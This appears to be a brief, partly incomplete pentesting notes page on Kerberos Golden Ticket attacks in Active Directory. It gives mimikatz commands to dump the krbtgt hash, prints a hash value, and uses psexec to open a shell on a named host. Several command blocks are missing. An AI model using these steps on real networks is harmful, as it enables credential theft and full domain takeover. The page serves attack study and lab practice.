Golden Ticket Attacks
Last updated
Was this helpful?
Last updated
Was this helpful?
Here we have the hash for kerberos ticket granting ticket with which we can gernerate ktgt.
Run mimikatz and privilege::debug
lsadump::lsa /inject /name:krbtgt
and copy these 2 into notepad for later use
user can be anything
rid is 500 for admin
ptt means pass the ticket
We can access other computers on network dir \\THEPUNISHER\c$
psexec.exe \\THEPUNISHER cmd.exe
to get a shell
Since we have the krbtgt we can do a golden ticket attack: krbtgt:819af826bb148e603acb0f33d17632f8
We need domain-sid so using powersploit: Powershell:
Linux:
Now using this info with impacket ticketer to get the golden ticket:
Putting the ticket in our environment variable:
Note: before psexec check if dns and time is configured properly